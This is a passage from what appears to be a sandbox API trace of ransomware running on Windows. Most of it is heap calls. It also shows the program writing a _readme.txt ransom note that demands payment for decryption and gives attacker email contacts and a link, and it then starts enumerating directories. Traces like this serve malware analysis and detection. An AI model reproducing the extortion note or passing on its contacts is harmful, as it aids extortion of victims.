Size=0x820) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.094] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.094] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.095] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.095] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.096] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.096] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.097] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.097] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.098] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.098] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.099] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.099] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.099] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.099] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.099] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.099] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.099] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.099] PathFindFileNameW (pszPath="") returned="" [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.099] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.099] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.099] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.100] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.100] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.100] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.100] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.100] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0117.100] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.100] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.100] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0117.101] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.101] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.101] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.101] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.101] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.101] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.101] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.101] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.101] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.101] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.101] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.101] FindNextFileW (in: 